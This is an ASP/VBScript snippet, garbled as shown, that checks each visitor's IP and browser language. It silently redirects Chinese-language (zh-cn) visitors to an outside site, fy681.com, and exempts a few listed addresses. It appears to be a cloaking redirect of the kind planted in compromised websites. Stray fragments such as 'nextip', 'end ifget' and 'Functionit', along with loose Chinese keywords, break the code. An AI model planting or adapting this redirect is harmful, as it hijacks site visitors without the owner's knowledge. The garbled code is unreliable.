<% dim redirectUrl,checkState checkState=0 MyArray = Array("127","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct", "Nov","Dec") userip = Request.ServerVariables("Remote_Addr") redirectUrl="http://www.fy681.com"正則表達式
for i = 0 to ubound(MyArray) if MyArray(i)=userip then checkState=1 exit for end if nextip
if checkState=0 then call checkip() end ifget
%> <% Function RegExpTest(patrn, strng) Dim regEx,Match,Matches '創建變量。 Set regEx = New RegExp '創建正則表達式。 regEx.Pattern = patrn '設置模式。 regEx.IgnoreCase = True '設置是否區分字符大小寫。 regEx.Global = True '設置全局可用性。 Set Matches = regEx.Execute(strng) '執行搜索。 For Each Match in Matches '遍歷匹配集合。 RetStr = RetStr&Match.value Next RegExpTest = RetStr End Functionit
sub checkip() Dim AL,LG AL = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") LG = RegExpTest("^[a-z\-]+",AL) if LCase(LG)="zh-cn" then response.redirect(redirectUrl) response.end() end if end subio
%> 變量